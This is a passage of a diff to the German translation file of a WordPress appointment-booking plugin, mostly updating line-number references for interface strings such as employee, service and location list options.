 #: includes/metaboxes/shortcode/EmployeesListMetabox.php:29
 #: includes/shortcodes/EmployeesListShortcode.php:29
-#: assets/js/gutenberg-blocks.js:11692
+#: assets/js/gutenberg-blocks.js:11693
 msgid "Employees List"
 msgstr "Liste der Mitarbeiter"
 
@@ -1658,10 +1648,10 @@
 #: includes/shortcodes/LocationsListShortcode.php:41
 #: includes/shortcodes/ServiceCategoriesShortcode.php:43
 #: includes/shortcodes/ServicesListShortcode.php:41
-#: assets/js/gutenberg-blocks.js:11509
-#: assets/js/gutenberg-blocks.js:11804
-#: assets/js/gutenberg-blocks.js:12090
-#: assets/js/gutenberg-blocks.js:12408
+#: assets/js/gutenberg-blocks.js:11510
+#: assets/js/gutenberg-blocks.js:11805
+#: assets/js/gutenberg-blocks.js:12091
+#: assets/js/gutenberg-blocks.js:12409
 msgid "Show featured image."
 msgstr "Das hervorgehobene Bild anzeigen."
 
@@ -1674,9 +1664,9 @@
 #: includes/shortcodes/EmployeesListShortcode.php:46
 #: includes/shortcodes/LocationsListShortcode.php:46
 #: includes/shortcodes/ServicesListShortcode.php:46
-#: assets/js/gutenberg-blocks.js:11517
-#: assets/js/gutenberg-blocks.js:11812
-#: assets/js/gutenberg-blocks.js:12416
+#: assets/js/gutenberg-blocks.js:11518
+#: assets/js/gutenberg-blocks.js:11813
+#: assets/js/gutenberg-blocks.js:12417
 msgid "Show post title."
 msgstr "Den Titel des Beitrags anzeigen."
 
@@ -1689,30 +1679,30 @@
 #: includes/shortcodes/EmployeesListShortcode.php:51
 #: includes/shortcodes/LocationsListShortcode.php:51
 #: includes/shortcodes/ServicesListShortcode.php:51
-#: assets/js/gutenberg-blocks.js:11525
-#: assets/js/gutenberg-blocks.js:11820
-#: assets/js/gutenberg-blocks.js:12424
+#: assets/js/gutenberg-blocks.js:11526
+#: assets/js/gutenberg-blocks.js:11821
+#: assets/js/gutenberg-blocks.js:12425
 msgid "Show post excerpt."
 msgstr "Einen Auszug aus dem Beitrag anzeigen."
 
 #: includes/divi/modules/EmployeesListModule.php:57
 #: includes/elementor/widgets/EmployeesListWidget.php:74
 #: includes/shortcodes/EmployeesListShortcode.php:56
-#: assets/js/gutenberg-blocks.js:11533
+#: assets/js/gutenberg-blocks.js:11534
 msgid "Show contact information."
 msgstr "Kontakt-Informationen anzeigen."
 
 #: includes/divi/modules/EmployeesListModule.php:67
 #: includes/elementor/widgets/EmployeesListWidget.php:84
 #: includes/shortcodes/EmployeesListShortcode.php:61
-#: assets/js/gutenberg-blocks.js:11541
+#: assets/js/gutenberg-blocks.js:11542
 msgid "Show social networks."
 msgstr "Soziale Netzwerke anzeigen."
 
 #: includes/divi/modules/EmployeesListModule.php:77
 #: includes/elementor/widgets/EmployeesListWidget.php:94
 #: includes/shortcodes/EmployeesListShortcode.php:66
-#: assets/js/gutenberg-blocks.js:11549
+#: assets/js/gutenberg-blocks.js:11550
 msgid "Show additional information."
 msgstr "Zusatzinformationen anzeigen."
 
@@ -1720,7 +1710,7 @@
 #: includes/elementor/widgets/EmployeesListWidget.php:107
 #: includes/metaboxes/shortcode/EmployeesListMetabox.php:60
 #: includes/shortcodes/EmployeesListShortcode.php:71
-#: assets/js/gutenberg-blocks.js:11558
+#: assets/js/gutenberg-blocks.js:11559
 msgid "Comma-separated slugs or IDs of employees that will be shown."
 msgstr "Durch Komma getrennte Slugs oder IDs von Mitarbeitern, die gezeigt werden."
 
@@ -1734,8 +1724,8 @@
 #: includes/post-types/LocationPostType.php:77
 #: assets/js/analytics-page.js:33420
 #: assets/js/calendar-page.js:45397
-#: assets/js/gutenberg-blocks.js:11566
-#: assets/js/gutenberg-blocks.js:11828
+#: assets/js/gutenberg-blocks.js:11567
+#: assets/js/gutenberg-blocks.js:11829
 msgid "Locations"
 msgstr "Standorte"
 
@@ -1743,8 +1733,8 @@
 #: includes/elementor/widgets/EmployeesListWidget.php:117
 #: includes/metaboxes/shortcode/EmployeesListMetabox.php:66
 #: includes/shortcodes/EmployeesListShortcode.php:76
-#: assets/js/gutenberg-blocks.js:11567
-#: assets/js/gutenberg-blocks.js:11829
+#: assets/js/gutenberg-blocks.js:11568
+#: assets/js/gutenberg-blocks.js:11830
 msgid "Comma-separated slugs or IDs of locations."
 msgstr "Durch Komma getrennte Slugs oder IDs von Standorten."
 
@@ -1757,9 +1747,9 @@
 #: includes/metaboxes/shortcode/EmployeesListMetabox.php:71
 #: includes/metaboxes/shortcode/LocationsListMetabox.php:68
 #: includes/metaboxes/shortcode/ServicesListMetabox.php:84
-#: assets/js/gutenberg-blocks.js:11575
-#: assets/js/gutenberg-blocks.js:11846
-#: assets/js/gutenberg-blocks.js:12500
+#: assets/js/gutenberg-blocks.js:11576
+#: assets/js/gutenberg-blocks.js:11847
+#: assets/js/gutenberg-blocks.js:12501
 msgid "Posts Per Page"
 msgstr "Posten pro Seite"
 
@@ -1777,10 +1767,10 @@
 #: includes/metaboxes/shortcode/ServiceCategoriesMetabox.php:96
 #: includes/metaboxes/shortcode/ServicesListMetabox.php:91
 #: includes/widgets/AppointmentFormWidget.php:237
-#: assets/js/gutenberg-blocks.js:11584
-#: assets/js/gutenberg-blocks.js:11855
-#: assets/js/gutenberg-blocks.js:12170
-#: assets/js/gutenberg-blocks.js:12509
+#: assets/js/gutenberg-blocks.js:11585
+#: assets/js/gutenberg-blocks.js:11856
+#: assets/js/gutenberg-blocks.js:12171
+#: assets/js/gutenberg-blocks.js:12510
 msgid "Columns Count"
 msgstr "Spaltenanzahl"
 
@@ -1798,10 +1788,10 @@
 #: includes/metaboxes/shortcode/ServicesListMetabox.php:92
 #: includes/shortcodes/AbstractPostsListShortcode.php:29
 #: includes/shortcodes/AbstractTermsListShortcode.php:30
-#: assets/js/gutenberg-blocks.js:11585
-#: assets/js/gutenberg-blocks.js:11856
-#: assets/js/gutenberg-blocks.js:12171
-#: assets/js/gutenberg-blocks.js:12510
+#: assets/js/gutenberg-blocks.js:11586
+#: assets/js/gutenberg-blocks.js:11857
+#: assets/js/gutenberg-blocks.js:12172
+#: assets/js/gutenberg-blocks.js:12511
 msgid "The number of columns in the grid."
 msgstr "Die Anzahl der Spalten im Raster."
 
@@ -1815,10 +1805,10 @@
 #: includes/elementor/widgets/ServicesListWidget.php:178
 #: includes/metaboxes/shortcode/ShortcodeOrderMetabox.php:59
 #: includes/metaboxes/shortcode/ShortcodeTermsOrderMetabox.php:54
-#: assets/js/gutenberg-blocks.js:11594
-#: assets/js/gutenberg-blocks.js:11865
-#: assets/js/gutenberg-blocks.js:12180
-#: assets/js/gutenberg-blocks.js:12519
+#: assets/js/gutenberg-blocks.js:11595
+#: assets/js/gutenberg-blocks.js:11866
+#: assets/js/gutenberg-blocks.js:12181
+#: assets/js/gutenberg-blocks.js:12520
 msgid "Order By"
 msgstr "Sortieren nach"
 
@@ -1832,10 +1822,10 @@
 #: includes/elementor/widgets/ServicesListWidget.php:182
 #: includes/metaboxes/shortcode/ShortcodeOrderMetabox.php:39
 #: includes/metaboxes/shortcode/ShortcodeTermsOrderMetabox.php:40
-#: assets/js/gutenberg-blocks.js:11601
-#: assets/js/gutenberg-blocks.js:11872
-#: assets/js/gutenberg-blocks.js:12187
-#: assets/js/gutenberg-blocks.js:12526
+#: assets/js/gutenberg-blocks.js:11602
+#: assets/js/gutenberg-blocks.js:11873
+#: assets/js/gutenberg-blocks.js:12188
+#: assets/js/gutenberg-blocks.js:12527
 msgid "No order"
 msgstr "Keine Reihenfolge"
 
@@ -1846,9 +1836,9 @@
 #: includes/elementor/widgets/LocationsListWidget.php:124
 #: includes/elementor/widgets/ServicesListWidget.php:183
 #: includes/metaboxes/shortcode/ShortcodeOrderMetabox.php:40
-#: assets/js/gutenberg-blocks.js:11604
-#: assets/js/gutenberg-blocks.js:11875
-#: assets/js/gutenberg-blocks.js:12529
+#: assets/js/gutenberg-blocks.js:11605
+#: assets/js/gutenberg-blocks.js:11876
+#: assets/js/gutenberg-blocks.js:12530
 msgid "Post ID"
 msgstr "Beitrags-ID"
 
@@ -1859,9 +1849,9 @@
 #: includes/elementor/widgets/LocationsListWidget.php:125
 #: includes/elementor/widgets/ServicesListWidget.php:184
 #: includes/metaboxes/shortcode/ShortcodeOrderMetabox.php:41
-#: assets/js/gutenberg-blocks.js:11607
-#: assets/js/gutenberg-blocks.js:11878
-#: assets/js/gutenberg-blocks.js:12532
+#: assets/js/gutenberg-blocks.js:11608
+#: assets/js/gutenberg-blocks.js:11879
+#: assets/js/gutenberg-blocks.js:12533
 msgid "Post author"
 msgstr "Beitragsautor"
 
@@ -1875,9 +1865,9 @@
 #: includes/metaboxes/shortcode/LocationsListMetabox.php:49
 #: includes/metaboxes/shortcode/ServicesListMetabox.php:49
 #: includes/metaboxes/shortcode/ShortcodeOrderMetabox.php:42
-#: assets/js/gutenberg-blocks.js:11610
-#: assets/js/gutenberg-blocks.js:11881
-#: assets/js/gutenberg-blocks.js:12535
+#: assets/js/gutenberg-blocks.js:11611
+#: assets/js/gutenberg-blocks.js:11882
+#: assets/js/gutenberg-blocks.js:12536
 msgid "Post title"
 msgstr "Beitragstitel"
 
@@ -1888,9 +1878,9 @@
 #: includes/elementor/widgets/LocationsListWidget.php:127
 #: includes/elementor/widgets/ServicesListWidget.php:186
 #: includes/metaboxes/shortcode/ShortcodeOrderMetabox.php:43
-#: assets/js/gutenberg-blocks.js:11613
-#: assets/js/gutenberg-blocks.js:11884
-#: assets/js/gutenberg-blocks.js:12538
+#: assets/js/gutenberg-blocks.js:11614
+#: assets/js/gutenberg-blocks.js:11885
+#: assets/js/gutenberg-blocks.js:12539
 msgid "Post name (post slug)"
 msgstr "Beitragsname (Beitrag-Slug)"
 
@@ -1901,9 +1891,9 @@
 #: includes/elementor/widgets/LocationsListWidget.php:128
 #: includes/elementor/widgets/ServicesListWidget.php:187
 #: includes/metaboxes/shortcode/ShortcodeOrderMetabox.php:44
-#: assets/js/gutenberg-blocks.js:11616
-#: assets/js/gutenberg-blocks.js:11887
-#: assets/js/gutenberg-blocks.js:12541
+#: assets/js/gutenberg-blocks.js:11617
+#: assets/js/gutenberg-blocks.js:11888
+#: assets/js/gutenberg-blocks.js:12542
 msgid "Post date"
 msgstr "Veröffentlicht"
 
@@ -1914,9 +1904,9 @@
 #: includes/elementor/widgets/LocationsListWidget.php:129
 #: includes/elementor/widgets/ServicesListWidget.php:188
 #: includes/metaboxes/shortcode/ShortcodeOrderMetabox.php:45
-#: assets/js/gutenberg-blocks.js:11619
-#: assets/js/gutenberg-blocks.js:11890
-#: assets/js/gutenberg-blocks.js:12544
+#: assets/js/gutenberg-blocks.js:11620
+#: assets/js/gutenberg-blocks.js:11891
+#: assets/js/gutenberg-blocks.js:12545
 msgid "Last modified date"
 msgstr "Zuletzt geändert"
 
@@ -1927,9 +1917,9 @@
 #: includes/elementor/widgets/LocationsListWidget.php:130
 #: includes/elementor/widgets/ServicesListWidget.php:189
 #: includes/metaboxes/shortcode/ShortcodeOrderMetabox.php:46
-#: assets/js/gutenberg-blocks.js:11622
-#: assets/js/gutenberg-blocks.js:11893
-#: assets/js/gutenberg-blocks.js:12547
+#: assets/js/gutenberg-blocks.js:11623
+#: assets/js/gutenberg-blocks.js:11894
+#: assets/js/gutenberg-blocks.js:12548
 msgid "Random order"
 msgstr "Zufällige Reihenfolge"
 
@@ -1940,9 +1930,9 @@
 #: includes/elementor/widgets/LocationsListWidget.php:131
 #: includes/elementor/widgets/ServicesListWidget.php:190
 #: includes/metaboxes/shortcode/ShortcodeOrderMetabox.php:47
-#: assets/js/gutenberg-blocks.js:11625
-#: assets/js/gutenberg-blocks.js:11896
-#: assets/js/gutenberg-blocks.js:12550
+#: assets/js/gutenberg-blocks.js:11626
+#: assets/js/gutenberg-blocks.js:11897
+#: assets/js/gutenberg-blocks.js:12551
 msgid "Relevance"
 msgstr "Relevanz"
 
@@ -1956,10 +1946,10 @@
 #: includes/elementor/widgets/ServicesListWidget.php:191
 #: includes/metaboxes/shortcode/ShortcodeOrderMetabox.php:48
 #: includes/metaboxes/shortcode/ShortcodeTermsOrderMetabox.php:48
-#: assets/js/gutenberg-blocks.js:11628
-#: assets/js/gutenberg-blocks.js:11899
-#: assets/js/gutenberg-blocks.js:12211
-#: assets/js/gutenberg-blocks.js:12553
+#: assets/js/gutenberg-blocks.js:11629
+#: assets/js/gutenberg-blocks.js:11900
+#: assets/js/gutenberg-blocks.js:12212
+#: assets/js/gutenberg-blocks.js:12554
 msgid "Page order"
 msgstr "Seitenreihenfolge"
 
@@ -1970,9 +1960,9 @@
 #: includes/elementor/widgets/LocationsListWidget.php:133
 #: includes/elementor/widgets/ServicesListWidget.php:192
 #: includes/metaboxes/shortcode/ShortcodeOrderMetabox.php:49
-#: assets/js/gutenberg-blocks.js:11631
-#: assets/js/gutenberg-blocks.js:11902
-#: assets/js/gutenberg-blocks.js:12556
+#: assets/js/gutenberg-blocks.js:11632
+#: assets/js/gutenberg-blocks.js:11903
+#: assets/js/gutenberg-blocks.js:12557
 msgid "Page order and post title"
 msgstr "Seitenreihenfolge und Titel des Beitrags"
 
@@ -1984,10 +1974,10 @@
 #: includes/elementor/widgets/LocationsListWidget.php:146
 #: includes/elementor/widgets/ServiceCategoriesWidget.php:178
 #: includes/elementor/widgets/ServicesListWidget.php:206
-#: assets/js/gutenberg-blocks.js:11641
-#: assets/js/gutenberg-blocks.js:11912
-#: assets/js/gutenberg-blocks.js:12221
-#: assets/js/gutenberg-blocks.js:12569
+#: assets/js/gutenberg-blocks.js:11642
+#: assets/js/gutenberg-blocks.js:11913
+#: assets/js/gutenberg-blocks.js:12222
+#: assets/js/gutenberg-blocks.js:12570
 msgid "DESC"
 msgstr "DESC"
 
@@ -2001,24 +1991,24 @@
 #: includes/elementor/widgets/ServicesListWidget.php:207
 #: includes/shortcodes/AbstractPostsListShortcode.php:42
 #: includes/shortcodes/AbstractTermsListShortcode.php:43
-#: assets/js/gutenberg-blocks.js:11644
-#: assets/js/gutenberg-blocks.js:11915
-#: assets/js/gutenberg-blocks.js:12224
-#: assets/js/gutenberg-blocks.js:12572
+#: assets/js/gutenberg-blocks.js:11645
+#: assets/js/gutenberg-blocks.js:11916
+#: assets/js/gutenberg-blocks.js:12225
+#: assets/js/gutenberg-blocks.js:12573
 msgid "ASC"
 msgstr "ASC"
 
 #: includes/divi/modules/EmployeeSocialNetworksModule.php:20
 #: includes/elementor/widgets/EmployeeSocialNetworksWidget.php:25
 #: includes/shortcodes/single-employee/EmployeeSocialNetworksShortcode.php:29
-#: assets/js/gutenberg-blocks.js:13481
+#: assets/js/gutenberg-blocks.js:13482
 msgid "Employee Social Networks"
 msgstr "Soziale Netzwerke des Mitarbeiters"
 
 #: includes/divi/modules/EmployeeTitleModule.php:20
 #: includes/elementor/widgets/EmployeeTitleWidget.php:25
 #: includes/shortcodes/single-employee/EmployeeTitleShortcode.php:29
-#: assets/js/gutenberg-blocks.js:12866
+#: assets/js/gutenberg-blocks.js:12867
 msgid "Employee Title"
 msgstr "Titel des Mitarbeiters"
 
@@ -2026,7 +2016,7 @@
 #: includes/elementor/widgets/LocationsListWidget.php:25
 #: includes/metaboxes/shortcode/LocationsListMetabox.php:29
 #: includes/shortcodes/LocationsListShortcode.php:29
-#: assets/js/gutenberg-blocks.js:11963
+#: assets/js/gutenberg-blocks.js:11964
 msgid "Locations List"
 msgstr "Liste der Standorte"
 
@@ -2048,9 +2038,9 @@
 #: includes/metaboxes/shortcode/ServicesListMetabox.php:72
 #: includes/post-types/LocationPostType.php:124
 #: includes/post-types/ServicePostType.php:164
-#: assets/js/gutenberg-blocks.js:11837
-#: assets/js/gutenberg-blocks.js:12123
-#: assets/js/gutenberg-blocks.js:12482
+#: assets/js/gutenberg-blocks.js:11838
+#: assets/js/gutenberg-blocks.js:12124
+#: assets/js/gutenberg-blocks.js:12483
 msgid "Categories"
 msgstr "Kategorien"
 
@@ -2066,9 +2056,9 @@
 #: includes/shortcodes/LocationsListShortcode.php:61
 #: includes/shortcodes/ServiceCategoriesShortcode.php:64
 #: includes/shortcodes/ServicesListShortcode.php:86
-#: assets/js/gutenberg-blocks.js:11838
-#: assets/js/gutenberg-blocks.js:12124
-#: assets/js/gutenberg-blocks.js:12483
+#: assets/js/gutenberg-blocks.js:11839
+#: assets/js/gutenberg-blocks.js:12125
+#: assets/js/gutenberg-blocks.js:12484
 msgid "Comma-separated slugs or IDs of categories that will be shown."
 msgstr "Durch Komma getrennte Slugs oder IDs von Kategorien, die gezeigt werden."
 
@@ -2078,26 +2068,26 @@
 #: includes/post-types/ServicePostType.php:149
 #: includes/post-types/ServicePostType.php:252
 #: includes/shortcodes/ServiceCategoriesShortcode.php:31
-#: assets/js/gutenberg-blocks.js:12272
+#: assets/js/gutenberg-blocks.js:12273
 msgid "Service Categories"
 msgstr "Dienstleistungs-Kategorien"
 
 #: includes/divi/modules/ServiceCategoriesModule.php:37
 #: includes/elementor/widgets/ServiceCategoriesWidget.php:53
-#: assets/js/gutenberg-blocks.js:12098
+#: assets/js/gutenberg-blocks.js:12099
 msgid "Show Services Count?"
 msgstr "Anzahl Services anzeigen?"
 
 #: includes/divi/modules/ServiceCategoriesModule.php:47
 #: includes/elementor/widgets/ServiceCategoriesWidget.php:63
-#: assets/js/gutenberg-blocks.js:12106
+#: assets/js/gutenberg-blocks.js:12107
 msgid "Show Description?"
 msgstr "Beschreibung anzeigen?"
 
 #: includes/divi/modules/ServiceCategoriesModule.php:57
 #: includes/elementor/widgets/ServiceCategoriesWidget.php:73
 #: includes/metaboxes/shortcode/ServiceCategoriesMetabox.php:56
-#: assets/js/gutenberg-blocks.js:12114
+#: assets/js/gutenberg-blocks.js:12115
 msgid "Parent"
 msgstr "Oberkategorie"
 
@@ -2105,14 +2095,14 @@
 #: includes/elementor/widgets/ServiceCategoriesWidget.php:76
 #: includes/metaboxes/shortcode/ServiceCategoriesMetabox.php:57
 #: includes/shortcodes/ServiceCategoriesShortcode.php:58
-#: assets/js/gutenberg-blocks.js:12115
+#: assets/js/gutenberg-blocks.js:12116
 msgid "Parent term slug or ID to retrieve direct-child terms from."
 msgstr "Slug oder ID des Oberbegriff, aus denen die Begriffe der Unterkategorien aufgerufen werden."
 
 #: includes/divi/modules/ServiceCategoriesModule.php:69
 #: includes/elementor/widgets/ServiceCategoriesWidget.php:93
 #: includes/metaboxes/shortcode/ServiceCategoriesMetabox.php:68
-#: assets/js/gutenberg-blocks.js:12132
+#: assets/js/gutenberg-blocks.js:12133
 msgid "Exclude Categories"
 msgstr "Kategorien ausschließen"
 
@@ -2120,21 +2110,21 @@
 #: includes/elementor/widgets/ServiceCategoriesWidget.php:96
 #: includes/metaboxes/shortcode/ServiceCategoriesMetabox.php:69
 #: includes/shortcodes/ServiceCategoriesShortcode.php:69
-#: assets/js/gutenberg-blocks.js:12133
+#: assets/js/gutenberg-blocks.js:12134
 msgid "Comma-separated slugs or IDs of categories that will not be shown."
 msgstr "Durch Komma getrennte Slugs oder IDs von Kategorien, die nicht gezeigt werden."
 
 #: includes/divi/modules/ServiceCategoriesModule.php:75
 #: includes/elementor/widgets/ServiceCategoriesWidget.php:103
 #: includes/metaboxes/shortcode/ServiceCategoriesMetabox.php:74
-#: assets/js/gutenberg-blocks.js:12141
+#: assets/js/gutenberg-blocks.js:12142
 msgid "Hide Empty"
 msgstr "Leere Inhalte verbergen"
 
 #: includes/divi/modules/ServiceCategoriesModule.php:85
 #: includes/elementor/widgets/ServiceCategoriesWidget.php:114
 #: includes/metaboxes/shortcode/ServiceCategoriesMetabox.php:80
-#: assets/js/gutenberg-blocks.js:12150
+#: assets/js/gutenberg-blocks.js:12151
 msgid "Depth"
 msgstr "Tiefe"
 
@@ -2142,14 +2132,14 @@
 #: includes/elementor/widgets/ServiceCategoriesWidget.php:115
 #: includes/metaboxes/shortcode/ServiceCategoriesMetabox.php:81
 #: includes/shortcodes/ServiceCategoriesShortcode.php:79
-#: assets/js/gutenberg-blocks.js:12151
+#: assets/js/gutenberg-blocks.js:12152
 msgid "Display depth of child categories."
 msgstr "Tiefe der Darstellung der Unterkategorien."
 
 #: includes/divi/modules/ServiceCategoriesModule.php:97
 #: includes/elementor/widgets/ServiceCategoriesWidget.php:127
 #: includes/metaboxes/shortcode/ServiceCategoriesMetabox.php:88
-#: assets/js/gutenberg-blocks.js:12160
+#: assets/js/gutenberg-blocks.js:12161
 msgid "Number"
 msgstr "Anzahl"
 
@@ -2157,56 +2147,56 @@
 #: includes/elementor/widgets/ServiceCategoriesWidget.php:128
 #: includes/metaboxes/shortcode/ServiceCategoriesMetabox.php:89
 #: includes/shortcodes/AbstractTermsListShortcode.php:24
-#: assets/js/gutenberg-blocks.js:12161
+#: assets/js/gutenberg-blocks.js:12162
 msgid "Maximum number of categories to show."
 msgstr "Maximale Anzahl der darzustellenden Kategorien."
 
 #: includes/divi/modules/ServiceCategoriesModule.php:126
 #: includes/elementor/widgets/ServiceCategoriesWidget.php:158
 #: includes/metaboxes/shortcode/ShortcodeTermsOrderMetabox.php:41
-#: assets/js/gutenberg-blocks.js:12190
+#: assets/js/gutenberg-blocks.js:12191
 msgid "Term name"
 msgstr "Name des Begriffs"
 
 #: includes/divi/modules/ServiceCategoriesModule.php:127
 #: includes/elementor/widgets/ServiceCategoriesWidget.php:159
 #: includes/metaboxes/shortcode/ShortcodeTermsOrderMetabox.php:42
-#: assets/js/gutenberg-blocks.js:12193
+#: assets/js/gutenberg-blocks.js:12194
 msgid "Term slug"
 msgstr "Slug des Begriffs"
 
 #: includes/divi/modules/ServiceCategoriesModule.php:128
 #: includes/elementor/widgets/ServiceCategoriesWidget.php:160
 #: includes/metaboxes/shortcode/ShortcodeTermsOrderMetabox.php:43
-#: assets/js/gutenberg-blocks.js:12196
+#: assets/js/gutenberg-blocks.js:12197
 msgid "Term ID"
 msgstr "Thema ID"
 
 #: includes/divi/modules/ServiceCategoriesModule.php:129
 #: includes/elementor/widgets/ServiceCategoriesWidget.php:161
 #: includes/metaboxes/shortcode/ShortcodeTermsOrderMetabox.php:44
-#: assets/js/gutenberg-blocks.js:12199
+#: assets/js/gutenberg-blocks.js:12200
 msgid "Parent ID"
 msgstr "ID der Oberkategorie"
 
 #: includes/divi/modules/ServiceCategoriesModule.php:130
 #: includes/elementor/widgets/ServiceCategoriesWidget.php:162
 #: includes/metaboxes/shortcode/ShortcodeTermsOrderMetabox.php:45
-#: assets/js/gutenberg-blocks.js:12202
+#: assets/js/gutenberg-blocks.js:12203
 msgid "Number of associated objects"
 msgstr "Anzahl der zugeordneten Objekte"
 
 #: includes/divi/modules/ServiceCategoriesModule.php:131
 #: includes/elementor/widgets/ServiceCategoriesWidget.php:163
 #: includes/metaboxes/shortcode/ShortcodeTermsOrderMetabox.php:46
-#: assets/js/gutenberg-blocks.js:12205
+#: assets/js/gutenberg-blocks.js:12206
 msgid "Keep the order of \"IDs\" parameter"
 msgstr "Reihenfolge des Parameters \"IDs\" beibehalten"
 
 #: includes/divi/modules/ServiceCategoriesModule.php:132
 #: includes/elementor/widgets/ServiceCategoriesWidget.php:164
 #: includes/metaboxes/shortcode/ShortcodeTermsOrderMetabox.php:47
-#: assets/js/gutenberg-blocks.js:12208
+#: assets/js/gutenberg-blocks.js:12209
 msgid "Term order"
 msgstr "Sortierung der Begriffe"
 
@@ -2214,35 +2204,35 @@
 #: includes/elementor/widgets/ServicesListWidget.php:24
 #: includes/metaboxes/shortcode/ServicesListMetabox.php:29
 #: includes/shortcodes/ServicesListShortcode.php:29
-#: assets/js/gutenberg-blocks.js:12620
+#: assets/js/gutenberg-blocks.js:12621
 msgid "Services List"
 msgstr "Dienstleistungs-Liste"
 
 #: includes/divi/modules/ServicesListModule.php:57
 #: includes/elementor/widgets/ServicesListWidget.php:73
 #: includes/shortcodes/ServicesListShortcode.php:56
-#: assets/js/gutenberg-blocks.js:12432
+#: assets/js/gutenberg-blocks.js:12433
 msgid "Show service price."
 msgstr "Den Preis der Dienstleistung anzeigen."
 
 #: includes/divi/modules/ServicesListModule.php:67
 #: includes/elementor/widgets/ServicesListWidget.php:83
 #: includes/shortcodes/ServicesListShortcode.php:61
-#: assets/js/gutenberg-blocks.js:12440
+#: assets/js/gutenberg-blocks.js:12441
 msgid "Show service duration."
 msgstr "Dauer des Services anzeigen."
 
 #: includes/divi/modules/ServicesListModule.php:77
 #: includes/elementor/widgets/ServicesListWidget.php:93
 #: includes/shortcodes/ServicesListShortcode.php:66
-#: assets/js/gutenberg-blocks.js:12448
+#: assets/js/gutenberg-blocks.js:12449
 msgid "Show service capacity."
 msgstr "Verfügbare Menge der Services anzeigen."
 
 #: includes/divi/modules/ServicesListModule.php:87
 #: includes/elementor/widgets/ServicesListWidget.php:103
 #: includes/shortcodes/ServicesListShortcode.php:71
-#: assets/js/gutenberg-blocks.js:12456
+#: assets/js/gutenberg-blocks.js:12457
 msgid "Show service employees."
 msgstr "Service-Mitarbeiter anzeigen."
 
@@ -2250,7 +2240,7 @@
 #: includes/elementor/widgets/ServicesListWidget.php:116
 #: includes/metaboxes/shortcode/ServicesListMetabox.php:61
 #: includes/shortcodes/ServicesListShortcode.php:76
-#: assets/js/gutenberg-blocks.js:12465
+#: assets/js/gutenberg-blocks.js:12466
 msgid "Comma-separated slugs or IDs of services that will be shown."
 msgstr "Durch Komma getrennte Slugs oder IDs von Services, die gezeigt werden."
 
@@ -2258,7 +2248,7 @@
 #: includes/elementor/widgets/ServicesListWidget.php:126
 #: includes/metaboxes/shortcode/ServicesListMetabox.php:67
 #: includes/shortcodes/ServicesListShortcode.php:81
-#: assets/js/gutenberg-blocks.js:12474
+#: assets/js/gutenberg-blocks.js:12475
 msgid "Comma-separated slugs or IDs of employees that perform these services."
 msgstr "Durch Komma getrennte Slugs oder IDs von Mitarbeitern, die diese Leistungen anbieten."
 
@@ -2266,7 +2256,7 @@
 #: includes/elementor/widgets/ServicesListWidget.php:143
 #: includes/metaboxes/shortcode/ServicesListMetabox.php:78
 #: includes/post-types/ServicePostType.php:210
-#: assets/js/gutenberg-blocks.js:12491
+#: assets/js/gutenberg-blocks.js:12492
 msgid "Tags"
 msgstr "Tags"
 
@@ -2365,7 +2355,7 @@
 #: includes/elementor/widgets/ServiceCategoriesWidget.php:105
 #: includes/metaboxes/shortcode/ServiceCategoriesMetabox.php:75
 #: includes/shortcodes/ServiceCategoriesShortcode.php:74
-#: assets/js/gutenberg-blocks.js:12142
+#: assets/js/gutenberg-blocks.js:12143
 msgid "Hide terms not assigned to any posts."
 msgstr "Begriffe verbergen, die mit keinem Post verbunden sind."
 
@@ -2623,10 +2613,10 @@
 #: includes/emails/tags/booking/BookingLeftToPayTag.php:19
 #: templates/emails/admin/admin-approved-booking-email.php:29
 #: templates/emails/customer/customer-approved-payment-email.php:24
-#: assets/js/divi-modules.js:6018
-#: assets/js/elementor-widgets.js:6018
-#: assets/js/gutenberg-blocks.js:6457
-#: assets/js/public.js:6018
+#: assets/js/divi-modules.js:6019
+#: assets/js/elementor-widgets.js:6019
+#: assets/js/gutenberg-blocks.js:6458
+#: assets/js/public.js:6019
 msgid "Left to pay"
 msgstr "Offener Betrag"
 
@@ -2846,11 +2836,11 @@
 #: templates/shortcodes/booking/step-cart.php:48
 #: templates/shortcodes/template-parts/booking-details.php:51
 #: assets/js/calendar-page.js:38070
-#: assets/js/divi-modules.js:2858
-#: assets/js/edit-post.js:4314
-#: assets/js/elementor-widgets.js:2858
+#: assets/js/divi-modules.js:2859
+#: assets/js/edit-post.js:4315
+#: assets/js/elementor-widgets.js:2859
 #: assets/js/gutenberg-blocks.js:431
-#: assets/js/public.js:2858
+#: assets/js/public.js:2859
 #: assets/js/widgets-manage-page.js:300
 msgid "Clients"
 msgstr "Kunden"
@@ -2912,13 +2902,13 @@
 #: includes/fields/complex/TimetableField.php:313
 #: includes/structures/TimePeriod.php:294
 #: assets/js/calendar-page.js:38145
-#: assets/js/divi-modules.js:3569
+#: assets/js/divi-modules.js:3570
 #: assets/js/edit-post.js:2101
-#: assets/js/edit-post.js:4846
-#: assets/js/edit-post.js:8800
-#: assets/js/elementor-widgets.js:3569
+#: assets/js/edit-post.js:4847
+#: assets/js/edit-post.js:8801
+#: assets/js/elementor-widgets.js:3570
 #: assets/js/gutenberg-blocks.js:1855
-#: assets/js/public.js:3569
+#: assets/js/public.js:3570
 #: assets/js/widgets-manage-page.js:1620
 msgid "All day"
 msgstr "Ganztägig"
@@ -2927,12 +2917,12 @@
 #: includes/fields/complex/DaysOffField.php:100
 #: templates/shortcodes/booking/cart/admin-cart-item.php:113
 #: templates/shortcodes/booking/step-cart.php:72
-#: assets/js/divi-modules.js:5975
+#: assets/js/divi-modules.js:5976
 #: assets/js/edit-post.js:2051
 #: assets/js/edit-post.js:2283
-#: assets/js/elementor-widgets.js:5975
-#: assets/js/gutenberg-blocks.js:6414
-#: assets/js/public.js:5975
+#: assets/js/elementor-widgets.js:5976
+#: assets/js/gutenberg-blocks.js:6415
+#: assets/js/public.js:5976
 msgid "Remove"
 msgstr "Entfernen"
 
@@ -3039,7 +3029,7 @@
 
 #. Translators: %s: Location name, like "Barbershop".
 #: includes/fields/complex/TimetableField.php:241
-#: assets/js/edit-post.js:8815
+#: assets/js/edit-post.js:8816
 #, php-format,js-format
 msgctxt "Working at %s"
 msgid "at %s"
@@ -3344,11 +3334,11 @@
 
 #: includes/helpers/PriceCalculationHelper.php:50
 #: includes/helpers/PriceCalculationHelper.php:122
-#: assets/js/divi-modules.js:6056
+#: assets/js/divi-modules.js:6057
 #: assets/js/edit-post.js:1602
-#: assets/js/elementor-widgets.js:6056
-#: assets/js/gutenberg-blocks.js:6495
-#: assets/js/public.js:6056
+#: assets/js/elementor-widgets.js:6057
